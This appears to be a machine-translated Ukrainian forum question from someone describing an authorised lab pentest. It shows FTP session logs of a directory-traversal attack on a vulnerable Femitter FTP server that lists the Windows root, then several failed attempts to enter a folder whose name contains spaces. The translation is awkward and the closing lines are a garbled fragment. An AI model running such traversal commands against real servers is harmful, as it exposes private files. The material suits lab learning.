Я веду санкціонований протест у закритому довідковому середовищі і боюся над, здавалося б, простим питанням, наразі не можу вирішити.
При спробі здійснити атаку обходу каталогів на вразливий FTP-сервер Fermitter, що працює на ОС Windows Windows, можна зробити СПИСОК у системному корені (адреси та списки вмісту тут змінені лише для довідки):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Однак, якщо я хочу перерахувати вміст папки, що містить пробіли, такі як Documents and settings
, я не можу перерахувати вміст каталогу через пробіли білих пробілів.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Я вже намагався використовувати різні FTP-клієнти (CLI та GUI, для Linux та Windows), і вони ігнорують пробіли або забороняють обхід каталогів.
Також спробував створити сценарій атаки на Python, використовуючи спочатку необроблені сокети, а потім ftplib для відправки команд у форматі HEX безпосередньо на FTP-сервер, але без успіху.
Гугл за пару годин не дав робочого рішення (так, було багато варіантів, які не спрацювали), тому тут є хтось, у кого була така ж проблема. Досить впевнений, що це не перший раз, коли потрібен такий обхід каталогів з пробілами.
\
допомогою рядка каталогів або цитувати його